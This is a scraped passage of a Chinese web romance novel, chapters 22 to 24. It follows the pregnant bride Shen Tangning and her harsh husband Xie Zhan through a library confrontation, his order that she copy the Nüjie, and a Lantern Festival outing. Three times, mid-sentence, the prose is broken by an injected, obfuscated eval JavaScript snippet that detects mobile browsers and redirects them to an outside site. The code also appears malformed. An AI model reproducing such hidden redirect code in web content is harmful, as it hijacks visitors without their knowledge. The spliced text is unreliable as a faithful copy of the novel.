譬如她前一个嫂子永宜县主常令瑶,自幼娇生惯养,去哪儿都得叫对方捧着让着,说好听些叫做性情直率,难听点就是骄纵跋扈,她本来就是这等性子了,两人自然不大能相处得好。 而她听过的那些传言,无不说沈棠宁和她叔母郭氏一样的利欲熏心,水性杨花,对男人则逢迎谄媚,极近柔媚可怜。 可这段时日相处下来,她似乎并不像别人说的那样…… 22.第 22 章 正月初三,谢璁领着一家子去京都城中王谢两家的亲戚们家中拜年。 谢瞻留到晌午在王氏一个族叔家里吃了个便饭就回来了,一来他没兴趣和一大家子亲戚周旋,二来他常年不回京,王家的儿郎们到这一日都喜欢争着抢着和他切磋比试,烦不胜烦。 正月初四上门拜会的亲戚就少了许多,谢嘉妤忙里偷闲,兴奋地跑到静思院。 谢瞻正在书房看书。 别看他是武官,战场上匹夫之勇却最是无用的,他更喜欢谋定后动,打有成算的仗,因此书房里摆放了不少历朝历代的兵书。 谢瞻的书案立在窗下,谢嘉妤经过窗边,见窗棂支着,梅花暖帘掀着,而兄长手里正举着一本书看得聚精会神,一时好奇,就把头探进屋里说道:“哥哥,大过年的你在看什么书,三哥和四哥他们在前院玩投壶呢,咦……这字怎么像个姑娘写的?” 谢瞻迅速将手中的书阖上收了起来,沉下脸道:“你属蛇的,走路没声响?这是你能看的!” 谢嘉妤还以为那是什么军事机密,忙将脑袋缩回去,讪讪道:“对不住对不住,我不是有意的,我什么都没看见!” 过了会儿,谢瞻从书房里出来去了明间。 “什么事。” 谢嘉妤讨好地笑道:“兄长勿恼,我这次是专程来给您赔罪的,将功补过,您瞧这是什么?” 说罢从怀中掏出一物,在谢瞻面前晃了晃。 谢瞻瞥了一眼。 是一只荷包。 “你做的?”一只荷包就想赔罪? 谢嘉妤说道:“这可不是我做的,我的手艺哪有这么好,这是嫂嫂做的!” 谢瞻目光顿了一下。 是一只银白底、金线绣,缎面上绣着一只栩栩如生的白鹤展翅图案的荷包。 谢瞻移开目光,淡淡地说:“与我何干。” 谢嘉妤得意道:“当然和你有关系,因为——这是嫂嫂做给哥哥的,虽然她不承认,不过我难道还能看不出来!” 谢嘉妤打开荷包,从里面倒出一枚折成三角形状的平安符,黄色的砂纸上面隐隐透出朱砂色的符咒。 “蝶香跟我说,这符叫做平安符,上面印的符咒多半是妻子给在外征战的丈夫求的,据说丈夫戴在身上后便能刀枪不入,平安顺遂!虽然哥哥你现如今已经回家了……不过这荷包一看就是男子喜欢的样式,不是做给哥哥你的还能是谁?” “她让你给我送来的?”谢瞻问。 以前常令瑶做了荷包,不好意思亲自送,也喜欢让谢嘉妤帮忙送过来。 “那当然啦,你知道女孩子脸皮儿薄,她不好意思嘛,”谢嘉妤笑眯眯道:“哥哥你看嫂嫂对你多体贴,还特意去给你求这平安符,你平日里也不知道多关心关心,多去看望看望她!” 其实荷包是谢嘉妤在沈棠宁枕下发现的,初一下午谢嘉妤去探望沈棠宁,看到沈棠宁做的桃花信笺很是好看,就央求她给自己也做几个。 沈棠宁自是应了,她闲来无聊便在沈棠宁的床上坐了会儿,偶然发现嫂子枕下压着这只荷包,遂悄悄顺走。 谢嘉妤是觉着,沈棠宁性格温柔害羞,而兄长那脾气呢却实在不敢叫人恭维,沈棠宁一定是做了荷包不敢去送。 既然她不好意思的,那不如就让她这个做小姑来助嫂嫂一臂之力,就权当是补偿她替自己顶罪的那事啦! 可惜谢瞻连看都没多看几眼就把荷包扔到了桌上,冷冷道:“我以为你能聪明多久,没想到这么快就被她收买了,以后你若发现自己被她骗了,可别哭着来求我。” 谢嘉妤叫道:“我被表姐骗是因为我们是亲戚,不然我怎么会看她的面子?我早说了我不是蠢货,这次肯定不会看错的!嫂嫂她又温柔又漂亮,还会给我做好看的桃花信笺和香囊,被她骗那也是我的福气!” 谢瞻嗤之以鼻,转身进了屋。 …… 沈棠宁尚不知她求给萧砚的平安符已是落到了谢瞻的手中。 午后,天朗气清。 沈棠宁去了谢家的藏书阁。 谢家的藏书阁就在镇国公府的东阁间,上次沈棠宁帮王氏抄写的经书是心经和金刚经,昨日她去如意馆给王氏请安,留意到王氏近来在读楞严经。 不巧她手头上没有这本书,普通书肆中这类佛经又通常价格十分昂贵,听说谢家有个流传百年的藏书阁,其中藏书之丰富浩瀚,如坐拥百城之盛。 是以在征得王氏的同意后,她准备到藏书阁中找找这本书,给王氏抄写一版字体更大,也更方便念认的楞严经。 打理藏书阁的管事看到是沈棠宁,恭敬地将她放了进去。 因是正月里,大家都忙着游宴玩乐,偌大的藏书阁空空荡荡,甚是冷清。 谢家的藏书阁果真名不虚传,浩如烟海,共三层楼,仅书架就有比一个七尺的成年男子还要高,而这样的书架一层楼少说五六十个,令人咋舌。 管事去帮沈棠宁找楞严经,沈棠宁自己四处转了转,也想寻几本书看。 空气中弥漫着淡淡的墨香与纸香,沁人心脾,她深深吸了几口,在几个书架间来回穿梭,右手边的书架旁刻着三个大字“地方志”,她在自己刚好能够到的那一层上随手抽出了一本书看。 这本书叫做《边疆志》,里面记载了许多周契两国交界处的美丽风光。 前朝末年天下大乱,太.祖皇帝白手起家灭契而立,成立大周朝,契人亡国后逃回老家漠北苟延残喘,太祖、成祖皇帝多次兴兵北伐无果,此后契国便龟缩于漠北一带四处游牧而居,本朝称之为北契。 几十年后北契分裂为东西契二部,东契王庭本为正统,势力强于西契,却因几百年内部争斗不断,势力逐渐衰微。 此消彼长,西契在对大周俯首称臣的同时亦联合吐蕃与奚族等其他部族与我朝敌对,伺机而动,虎视眈眈,如今在北方夷狄部族中势力最为强盛。 隆德帝在位至今三十年,甫登基之初便兴兵北伐,野心勃勃,隆德五年第一次北伐,隆德十年第二次北伐,直到隆德二十年第三次北伐结束。 隆德帝今年五十三岁,英雄迟暮,心力交瘁,想来已经无力组织第四次北伐了,而漠北两契则因三次北伐大伤元气,兼之王庭内部争斗不休,近十几年因有耿忠慎和宗缙守边,除了偶尔骚扰我朝边境,不敢轻举妄动。 九年前,沈棠宁的父亲沈弘彰便是在第三次北伐时身受重伤,不幸战死沙场。 情到浓时萧砚曾指着舆图上的漠北,意气风发地对她承诺日后会为她的父亲报仇雪恨。 “乌尔逊河状若银带,波光粼粼,传说有情人一起牵手沿河走过便能结成百年之好,团儿,有机会我想带你一起去。” 这样久过去了,他低沉温柔的话语仿佛还在耳边回响…… 沈棠宁默默将书放了回去。 心绪很快平静下来,她扶着腰在高大的书架之间来回穿梭,没想到谢家百年世家,藏书阁中竟还会藏有话本子。 好久没看过了呢。 沈棠宁踮起脚尖,想要去够。 不知不觉间一个高大的身影从她身后慢慢走来,那人抬手,玄色的衣角拂过沈棠宁的脸颊,痒痒的,有一股清冽的龙脑香和浓烈的男人体味。 沈棠宁呼吸一窒,下一瞬,她想要去拿的那本书就到了身后那人的手中。 沈棠宁心砰砰直跳,要蹦出嗓子眼似的,她没敢转身,装作若无其事的模样从那人臂下钻了出去,三步并作两步,快走至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546068|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数排后的书架间,四下张望帮她寻楞严经的管事。 管事早已不见踪影。 沈棠宁大略扫了几眼书架上的书,急得汗透中衣,还是想在离开之前带走楞严经。 所幸,她运气好,没有转多久就在离她不远的书架上看到了。 她忙走过去,用烛台一照,的确是楞严经,复再次吃力地踮起脚尖,努力去够。 谢家的藏书阁从头走到尾都要花一刻钟的功夫,四周虽置着灯台,越往深处走视线却愈发地昏暗。 眼看就要够到楞严经,一只大手忽悄无声息从她身后伸来,沈棠宁霎时汗毛直竖,吓得尖叫一声,身子扭着向后缩去。 意料之中的痛感并未传来,后腰撞到一双温热的大手上。 待她站稳,那人的手很快便伸了回去,在她头顶上严厉斥道:“笨手笨脚,连站都站不稳!” 声音大得沈棠宁都忍不住瑟缩了一下。 她不想理睬他,抿了抿唇,绕开挡在她面前的谢瞻,垂着头就要走。 “站住,我要你走了?” 谢瞻抓住沈棠宁颈上的一缕秀发,沈棠宁疼得“啊”的一声,被他揪了回来。 沈棠宁含泪瞪他,谢瞻慢吞吞松了手,震震衣袖,一脸的泰然自若,丝毫没有欺负人后的愧疚与自觉。 沈棠宁咬唇,看着他背在身后的手。 “你……能不能把书还我。”她小声说。 谢瞻眯了眯凤眼,向前一步。 沈棠宁后退一步。 两人一个走,一个退,沈棠宁已有些畏惧和着恼了,她不要书了还不行? 谢瞻生得高大,两人面对面站在一处时很给人压迫感,沈棠宁鼓足勇气,刚抬起脸,谢瞻就俯下了身,温热的呼吸拂在她的面上,目光灼灼。 “除夕夜那晚你做了什么,还记不记得?” 谢瞻双目紧紧盯着她问。 沈棠宁本来被他直勾勾盯得还有些窘迫,闻言怔了下,除夕夜那晚? 锦书和谢嘉妤都对她说过,除夕夜那晚她喝多了,醉得人事不省,是谢瞻把她抱回了静思院,所以第二天她才会在谢瞻的房中醒来。 锦书还问她谢瞻有没有刻薄她,可沈棠宁实在不记得了,眼下谢瞻一副气势汹汹的样子来质问她,该不会是那天晚上她吃醉了,忍不住说出了心里话,把谢瞻痛骂了一顿吧?! “我……我喝多了,都不记得了。” 沈棠宁避开他的目光道。 她垂着脸儿,颈后瓷白的肌肤细腻如玉。她的确很白,这样的暗室中都能白到叫人移不开眼。 谢瞻盯着她逐渐泛出桃粉色的耳根。 哼,既然不记得做了什么,为何要脸红? 明明那晚亲了他,睡了他的床铺,今日却又装作什么都不记得,还摆出一副不想理会他的姿态。 谢瞻将沈棠宁的种种行为归结为欲拒还迎的把戏,毕竟京都城中对他痴迷的女子不在少数,女子们求爱的方式除了绣香囊荷包便是送汤水吃食、制造与他邂逅的机会,着实乏善可陈。 故她便另辟蹊径,希望用这种方式来引起他的注意。 谢瞻了然,直起身,从书架上抽下一本书,扔到沈棠宁怀里。 “回去把这本书抄一百遍给我看。” 沈棠宁看着书皮上的字:女诫。 她有点儿不满,又不太敢表露出来。 “为什么要抄女诫?” 谢瞻冷嗤一声,把那本她没有够到的,名为狐仙奇缘的话本子摊在她面前。 “……” 沈棠宁脸一下涨红了。 “我……这不是……” “再看这些淫.书,后果自负!” 谢瞻警告道。 23.第 23 章 管事登记了楞严经和女诫的书名,把两本书包好了递给沈棠宁。 锦书抱着两本书,一路上沈棠宁神情萎靡,一语不发。 “姑娘这是怎么了,可是没找到称心意的书?” “我在里面叫过你,你没有听见?” 沈棠宁揉了揉被谢瞻拽散的头发,头皮还在隐隐作痛,心里疑惑谢瞻吓唬她,她尖叫了一声,锦书应该能听得到才对。 锦书一脸茫然,“原来姑娘叫过奴婢?奴婢那时候好像被管事叫去帮他搬了几本书,的确没听到,姑娘为何叫奴婢,是有什么要紧事?” 事有凑巧,沈棠宁也只能说了句没什么要紧事。 回到寻春小榭,沈棠宁坐在罗汉床上,看着手里的女诫发呆。 想了半天,她最终还是把书放到了角落里,翻开楞严经开始抄写。 两天之后,楞严经抄写完毕,她趁着请安时送给王氏,王氏见了又惊又喜,喜欢得不行,随即又责备她大着肚子还不注意休息。 能成为谢氏当家主母,管着一家几十口,沈棠宁想,王氏肯定能猜到她每日晨昏定省不落,抄写佛经都是为了讨好她。 除了感激,她做这些也的确是为了讨好王氏。 她和腹中的这个孩子没有亲缘,或许生下之后很快就会和谢瞻和离,等她离开镇国公府,谢瞻会再娶一门合他心意的妻子。 谢瞻厌恶她,又怎会对两人的孩子有慈爱之情?是以沈棠宁交好谢嘉妤、讨好王氏,就是希望来日她被赶出镇国公府时,王氏和谢嘉妤会念着今日她的几分好,爱屋及乌,对她的孩子多些怜惜,也不枉她生养这个孩子一场。 王氏治家严明,同时又是位足够通情达理、宽容大度的主母,看看她教养的十二郎与谢嘉妤便知道了,两个人都聪明善良,她相信孩子养在王氏的膝下,一定能健康平安地长大。 如此,即使日后与孩子不复相见,沈棠宁也尽可放心地离去了。 …… 是夜,屋内烛光摇曳,沈棠宁坐在灯下打着络子。 星幕低垂,夜色渐浓,她打了个哈欠,眼皮子越来越重,不知不觉便靠在了罗汉床的靠背上睡了过去。 不知过了多久,韶音进来焦急地把她摇醒。 “姑娘姑娘不好了,那人又来了!” 沈棠宁瞬间惊醒,两个丫鬟手忙脚乱地给她套衣服,差不多刚穿好,谢瞻就掀帘进来了。 谢瞻缓步走进来,目光四下扫去。 他这人丝毫没有的分寸感和边界感,进沈棠宁的闺房犹如进无人之境般,想随时过来就随时过来,仿佛他才是这间屋子的主人。 两个丫鬟本来都准备伺候着沈棠宁歇下了,他这一过来众人免不了胆战心惊、手忙脚乱,心里不由腹诽,也不知从前的永宜县主是怎么受得了他的! 沈棠宁出来的时候,谢瞻正站在她的书案前不知翻看什么,沈棠宁忙上前去要把东西抢回来,谢瞻后背像长了眼睛似的,臂一伸避开了她去。 “你怕什么,怕又偷看淫.书被我发现?” 沈棠宁瞄了一眼,确实不是她的话本子,心里松了口气。 “那不是淫.书。” 她适才睡得香熟,乍被叫醒起来,衣服倒是穿得严严实实,却乌发蓬松,腮边还凝着两团娇艳的桃花般的红晕,抬脸看向他时,眸如点漆,乌浓似水,目光也不怎么清明,看起来有些呆呆的娇憨可爱之态。 谢瞻丢下书,冷哼了一声。 “上回我让你抄一百遍的女诫,你现在给我。” 沈棠宁“哦”了一声,走到书案前,左翻翻,右找找。 “我不记得抄完放哪儿了。” 直过了好一会儿,她垂着眼说。 “不知道放哪儿了?很好,不如让我来猜猜,你是不是根本就没抄?” “我看你是把我的话都当成耳旁风!”他猛一拍案。 “我没有!” 沈棠宁吓了一跳,继而也有些生气地道:“我并没有犯错,而且你说的话本子我也没有看,我这段时日一直安分守己,为何还要抄女诫?” 谢瞻冷笑道:“你的意思是等你犯了错再抄更加名正言顺?像你这种不懂礼数的女子,一旦是犯错,还指不定是什么弥天大祸!你可知你今日为何会变成这样,便是因为自小没人教养你,现在你更应该去自省,若是以后生下女儿养得和你一样,我谢家丢不起这个人!” 他说这话时,语气平淡,神情却极是轻蔑,仿佛她天生便是他口中那般的人一样,像他这样的人,愿意教她去改正做个人,站在她面前的说话都是他的施舍和怜悯。 沈棠宁气得发抖。 她如何便没教养、便不懂礼数了? 在他眼中,她甚至无一可取之处,既然他这么嫌弃她,当初就不要娶她啊,为什么还要为了孩子妥协,她又没有求着他来娶她! 沈棠宁紧紧咬住唇瓣,攥成拳头,心里不断告诉自己没必要为了谢瞻这种人生气,反正不论她说什么他都不会信,她就不抄便是了,他还能奈她如何! 谢瞻见她垂头不语,以为她是羞愧心虚,这才满意了,缓了面色道:“我给你十日,十日之后你若再抄写不完,咱们再另算账。” 谢瞻走后,锦书和韶音都走进来,暗自庆幸今日两人没发生什么争执,孰料沈棠宁蓦地将手边的书都扫下了桌去。 坏胚,这个坏胚! 委屈、难堪、愤怒,自嫁进谢家之后所受的所有委屈一齐涌上心头,悲从中来,沈棠宁再忍不住,泪水竟如决堤般从眼圈里滚了下来。 两个大丫鬟见状面面相觑,极是心疼,忙搂住着沈棠宁好一番安慰轻抚,直过了好一会儿沈棠宁的哭声才止住。 锦书说:“他又欺负姑娘了?” 韶音问:“是不是他又说了什么难听的话?” 沈棠宁哭够了,抹干净泪,心头无尽苦涩。 其实她早该习惯了的,从小到大这些话她听过无数遍,早就该习惯了不是吗? 不过从谢瞻嘴里吐出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556134|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格外刻薄难听便是了。 沈棠宁苦笑一声,让锦书帮她把女诫从地上重新捡了起来。 “我没事,算了,你们也都早些休息罢。” …… 大约是孕妇的情绪格外敏感易波动些,沈棠宁消沉了几日,心情逐渐恢复如初。 她不想得罪谢瞻,和他起冲突,再者以后也不会与他一起过日子,得过且过便罢了。 一百遍女诫不是个小数目,锦书和韶音都识字,争着想帮她抄,沈棠宁担心谢瞻刁难她,坚持自己抄写,一晃十日就过去了。 锦里开芳宴,兰缸艳早年。 褥彩遥分地,繁光远缀天。 正月十五,上元夜。 朝堂官员皆休沐三日庆祝上元,京都城中接连点灯三夜不绝,街市看灯的游人如织,男女混杂,香尘不断。 临近傍晚,月落山正昏,瑰丽的晚霞铺满了天际,丫鬟们捧着珍馐美味瓜果香点鱼贯而入,中央的雕花梨木四季富贵圆桌旁按照尊卑长幼的顺序大家分坐。 谢嘉妤坐在沈棠宁的旁边,她完全没有心思理会一桌子的美味,伸长脖子不断地向窗外望去,兴致勃勃,春光满面。 “娘,吃完晚饭我们一起出去赏灯吧,你看外面灯都点起来了,亮得跟白昼似的!”谢嘉妤对着王氏撒娇道。 王氏心知肚明女儿急着出去找谁幽会,挑挑眉,搂着十二郎道:“你弟弟还小,我得在家看着他,你想去自己出去玩儿吧,问问你爹答不答应。” 谢嘉妤连忙期待地看向谢璁,谢璁皱眉道:“这么冷的天,几盏破灯有什么好看的,你一个女儿家乖乖待在家里最好!” 王氏见女儿面露失望,又不忍心了。 “嘉妤想去就让她去吧,总拘在家里做什么。” “她往外跑的时候还少?看看她几个姐姐哪个出阁前不是大门不出二门不迈?” 王氏与谢璁夫妻俩你一言我一句,沈棠宁想到外面此时正热闹沸腾的街市,明亮的烟火、漂亮的琉璃灯……忍不住看了谢瞻一眼。 她也想出去。 到底只是个十六岁的小姑娘,心里总免不了羡慕着外面的灯红酒绿,沈棠宁平日里就甚少出门,有孕嫁到谢家之后出门的次数更是屈指可数。 其实算一算,她只比谢嘉妤大了两岁而已,谢嘉妤有爹娘宠爱着,可以随意撒娇卖痴表达自己心里的想法,沈棠宁却无法像她那样这样随心所欲。 她也想和谢嘉妤一起出去,又担心谢瞻的刁难…… 谢瞻肯定不会同意她和嘉妤一起去看灯的。 谢瞻注意到了沈棠宁悄悄投来的目光,他装作漫不经心地看过去时,沈棠宁已经垂下了脸。 开春后的几个日子是成婚的吉日,因此上元夜,女子们多半会和自己的意中人一起幽会逛灯市,街上男女成双成对。 谢嘉妤早就与卫桓约好今夜赏灯,卫桓昨日还来求谢瞻通融,今夜早些放谢嘉妤出门。 所以,沈氏的意思是想和他一起去看灯? 24.第 24 章 王氏求情,谢璁只好妥协道:“你一个小娘子家的出门不方便,若你兄长答应陪你去你就出去吧,否则你就安心待在家里。” 谢嘉妤高兴极了,立即去缠着谢瞻。 她知道卫桓肯定来求过谢瞻了,谢瞻就算不看着她的面子,也不好拂却了卫桓的意思。 谢瞻推开她,“别烦人,先吃饭。” 态度不怎么耐烦,谢嘉妤悻悻地坐了回去。 一直到用完饭,谢嘉妤翘首以盼,不停地给谢瞻使眼色。 谢瞻跟没看到她似的,十二郎抱着谢瞻的大腿,小家伙要和他一起出去放烟花,谢瞻抱起十二郎就走了出去。 谢嘉妤连忙追出去,没一会儿又失魂落魄地回来了。 “嫂嫂,哥哥不让我去!”她对着沈棠宁撒娇,“嫂嫂,你帮我去求求哥哥吧,你长得这么好看,肚子里还有我的小侄子,说不定你一开口哥哥就答应了!” 沈棠宁赶紧摇头:“我不行,我不成!要不你再去求求他?” “嫂嫂,你难道就不想出去吗?今晚上元夜,城中无论贫富之家无不挂灯,街市亮如白昼,你知道那些灯盏有多美吗?上至闺秀、下至村妇,大家相伴而观,我若是不去,岂不是明日都成了其他姐妹们里的笑柄!” 听了谢嘉妤的这番话,沈棠宁不由也心向往之了。 然而她在谢瞻心中几斤几两自己还是清楚得很,只得推辞道:“我还怀着身子,母亲不会答应我去的。” 这还不简单!谢嘉妤风风火火去到王氏身边,不知说了什么,逗得王氏笑容满面,谢嘉妤再回来时,胸有成竹地拍着胸脯道:“嫂嫂放心,我娘已经答应了,现在就差哥哥了!” 沈棠宁仍是犹豫,但架不住谢嘉妤的嚷求,扭股儿糖似的赖在她身边哼唧,“嫂嫂你就去告诉哥哥,你说你也想出去,我们两个都想出去,十二郎再给我们帮帮腔,这事情还不就成啦!” 说着也不管三七二十一就高兴地架着沈棠宁走了出去,沈棠宁倒也不完全是被赶鸭子上架,其实心里面对灯会的向往超过了对谢瞻的畏惧。 罢了,大不了就被他再刻薄一回,反正她也习惯了。 夜凉如水,月色也皎洁明亮,十二郎在跟着丫鬟们放烟花嬉闹,谢瞻就负手静静立在庭院中央看着,背影颀长而挺拔。 她慢慢走到谢瞻身后,谢瞻似有所觉,忽转过身,瞥向她。 沈棠宁心一紧,忙垂下眼,正犹豫着如何措辞开口,挽着她胳膊的谢嘉妤却突然松开,上前抱走了十二郎,冲她眨眨眼。 沈棠宁一愣。 “什么事?” 谢瞻语气淡淡地。 听起来好像心情不是特别差…… 但若是她和谢嘉妤一起出门,谢瞻一定也会跟着,一想到这里,沈棠宁便又觉灯会好像也没那么有意思了。 “没什么事。” 犹豫了一会儿,她还是放弃了出门的打算。 话说完,两人都静默了下来。 “女诫抄完了?”谢瞻盯着她,又问。 五个月之后她的孕肚涨得愈发快了,隔着衣服都能明显看到曲线的隆起。 谢瞻的视线继续往上滑。 待沈棠宁抬起头时,谢瞻便立即移开了自己的视线,望向远处廊檐下挂着的一盏角灯。 “都抄完了。”她轻声说。 谢嘉妤抱着十二郎坐在美人靠上,看着谢瞻和沈棠宁一前一后走出了门,自言自语道:“他们这是去哪儿呢?” 十二郎说:“去幽会!” 谢嘉妤“咦”了一声,“臭小子,你还懂什么叫幽会?” “那是!” 十二郎嘿嘿地笑,露出几粒小白牙,向谢嘉妤甜甜撒娇道:“姐姐,我也想去灯会!” 谢嘉妤笑眯眯道:“你想得美!” 十二郎:“……” …… 谢嘉妤过去的时候,谢瞻已经检查完了沈棠宁抄写的一百遍女诫。 谢嘉妤从窗外探进头来,哀怨地道:“哥哥,我到底能不能出去啊,再不出去就晚了! 谢瞻在屋里坐着,闻言放下手里的一摞女诫,看起来很是勉为其难地道:“既然你这么想去,就去吧。” 谢嘉妤惊喜不已,心想今晚哥哥倒是好说话得很,谢瞻接着又道:“你一个人出去我不放心,最好能去别的房叫上你的几个姐妹。” 谢嘉妤忙说:“现在到快二更天了,哪里还能叫到其他姐妹啊,人家早就成群结队地出去了,嫂嫂你和我一起去吧!” 沈棠宁迟疑地看向谢瞻。 谢瞻却起身走了出去,丢下一句话。 “随你。” - 卫桓在灯楼下等了接近一个时辰。 一辆油壁车缓缓停在灯楼旁,少顷,穿着葱绿褙子月华裙的少女像小麻雀一样从马车上欢快地跳了下去,直奔那等在灯楼下的一个绿衣长袍的男子而去。 沈棠宁也由锦书和韶音扶着慢慢下车,马车恰好停在灯楼前,所谓的灯楼是由数千盏琉璃灯以彩带结成,楼高一百五十尺,楼上横出的部分缀满珠玉金银,远远看来富丽堂皇,令人惊叹。 灯光明亮得刺眼,沈棠宁有些不大适应地抬手挡住了自己的眼睛。 这时,一个高大的身影忽挡在了她的面前,灯光没有那么刺目了。 沈棠宁抬起头,是谢瞻。 谢瞻换了一身常服,宽袍大袖,腰束玉带,不知是沈棠宁的错觉还是灯光太过耀眼的缘故,竟衬得他平素冷酷凌厉的眉眼都变得温和了许多。 一股人潮自灯楼一侧涌过来,谢瞻反应快,立即握住沈棠宁的胳膊向一旁避去。 她的手臂细而绵软,谢瞻一只手就能握过来,明明没什么肉,小臂却柔软得能叫人的手指都陷进去,隔着厚厚的衣料,攥在手里亦柔若无骨般。 沈棠宁却被他攥得有些疼,踉跄了下,等人潮过去后,她稍微挣了挣。 谢瞻就不悦地看向她,很想告诉她欲擒故纵的把戏玩多了,就没什么意思了。 “不想丢就到我后面去,跟紧了!”他松了手,冷冷说。 与卫桓和谢嘉妤会合后,双方几句寒暄,卫桓跟着谢嘉妤客气地唤了沈棠宁一声嫂嫂。 厮见毕,谢嘉妤的心思就完全放在了卫桓的身上,两人在前面走着有说有笑。 卫桓是世家子弟,生得气宇轩昂,风度翩翩,几乎算是看着谢嘉妤长大,即使谢嘉妤捉弄,他也不过是无奈地笑笑,任她高兴。 沈棠宁还注意到,卫桓一直紧紧拉着谢嘉妤的手。 她默默移开视线,将心思放到街道两侧美轮美奂的灯盏上。 一路摩肩擦踵,果如谢嘉妤所言男男女女结伴而行,凡百姓家门首前皆悬灯盏两架,以致五步一彩棚,十步一灯楼,游人士女,车马喧阗,锣鼓喧天。 沈棠宁不知不觉入迷,看得目不转睛,因为兴奋,脸庞情不自禁浮上两抹晕红。 出门前谢嘉妤特意给她打扮了一下,发上簪了一朵碗口大的海棠花,淡扫娥眉,唇上抹了一点唇脂,她的容貌原本便妩媚娇艳,却又不失大家闺秀的娟秀端庄,尤其一双大大的杏眼,眼波流转,站在人群之中更是光彩照人。 临出门前谢嘉妤还曾故意把沈棠宁推到谢瞻面前,笑嘻嘻地道:“哥哥你看,嫂嫂今日妆容美不美?” 沈棠宁很是尴尬,谢瞻却只是不屑地扫了一眼,出门上了马。 气得谢嘉妤在背后嘀咕着骂他,“柳下惠都没你这么正派!” …… 男子高大俊美,女子娇柔秀美,两人站在一起仿若一对璧人,引得路人频频回首。 谢瞻目不斜视,沈棠宁就很不自在,她以前就不怎么出门,突然被这么多人围观盯着着,她只感觉十分窘迫。 偶有路人擦肩而过,她不得已往谢瞻的身上靠去,手心碰到他的手背。 后来人实在太多,甚至有人从两人中间穿过。 人流涌过时,沈棠宁的手心再一次撞到了谢瞻的手背,这一次,谢瞻直接握住了沈棠宁的手。 男人的掌心宽厚干燥,常年骑射,指腹和虎口处的老茧却粗糙得很,磨得沈棠宁娇嫩的肌肤有些刺疼,沈棠宁几次想把手抽出来,他反而握得更紧。 可大约是人太多了的缘故,无论她怎么叫喊他,示意他松开手,谢瞻耳朵都像聋了一样听不到。 四周熙熙攘攘,沈棠宁的注意力不知不觉又被别处吸引去,等她看向了别处,谢瞻才微微瞥眼,朝她瞅去。 只见她仰着头正不知望向何处,一双杏眼睁得大大的,里面闪着新鲜事物的好奇与欢喜。 明月高悬,万家灯火。 月光与灯光洒落在她白皙娇美的面庞上,她便这般亭亭玉立在他的身侧,明眸皓齿,乌发雪肤。 自从有了身孕以后,她的身上渐渐褪去少女的青涩,像是一颗桃子恰如其分地成熟到最饱满圆润的时候,却又不失甜美多汁,是一种介于少女与小妇人之间的妩媚风情,美得叫人根本移不开眼。 谢瞻目不转睛地看着沈棠宁,喉头不自觉地滚了又滚,他觉得喉咙有些干涩,心里又似乎莫名地烦乱,掌心开始出汗。 但当沈棠宁扭过粉颈的时候,他立即若无其事地移开了自己的视线。 有几人笑着从沈棠宁身旁挤过去,沈棠宁忙一手护着肚子,向他身上靠了一下。 她身子软软的,两人离得很近很近,她发间散发着幽幽的蔷薇花香,似乎还有一团绵软的丰盈无意间擦过他的手臂,贴着轻轻按了一下…… 谢瞻几乎是一下子就意识到了那是什么,身体蓦地绷紧。 沈棠宁却是毫无所觉,人群散去后,她便迅速与他分开距离,继续垂着头,跟在他的身旁。 谢瞻舔了舔干燥的唇,趁她不注意的时候,忍不住又瞄了沈棠宁一眼。 其实,他承认沈棠宁长得是很好看。 若以后她生了女儿,长得像她也不错,只是不论生的是男是女,孩子都绝不能让她教养,她身上的坏习气太多,若是孩子任由她教,说不准便会被教坏。 不过虽是如此,她做人还算是有底线,至少不会像冯氏那样坏到根子里,教唆谢嘉妤,性情也安静柔顺,不吵闹聒噪。 既然两人孩子都有了,她也不想和离,如果以后她愿意努力改掉从前的那些坏习,谢瞻觉得他也是可以凑合着和她继续过下去的。 当然——他的妥协仅仅是为了孩子而已,毕竟和离再娶一个,还不知会娶个什么样的妖魔鬼怪,他嫌麻烦。 但沈棠宁身上的那些习性他是一刻也不能容忍的,必须帮她改掉。 谢瞻皱眉思索着,除了抄女诫,最好再给沈棠宁找几个教养嬷嬷和女老师,教教她什么叫做礼义廉耻。 转念又一想,不成,这女子如此固执蠢笨,旁人教他不放心,还是他亲自教比较好,免得她以后见着个男人就扑上去,那他就真要气疯了…… 一时想得入神,两人行至一处楼阁亭台高耸的广厦之处,中央的金鱼池碧波浩渺,绣船遍布,池水中倒映着夜幕中央的一轮皎月,女孩儿们则三三两两地围聚在岸边放荷花灯。 谢嘉妤在前面惊叹道:“好美哇!我也要去放荷花灯! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565924|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “嫂嫂,我们一起去放荷花灯吧!” 谢嘉妤说着便飞快地朝两人飞奔过来,谢瞻和沈棠宁交握的手都下意识地迅速分开。 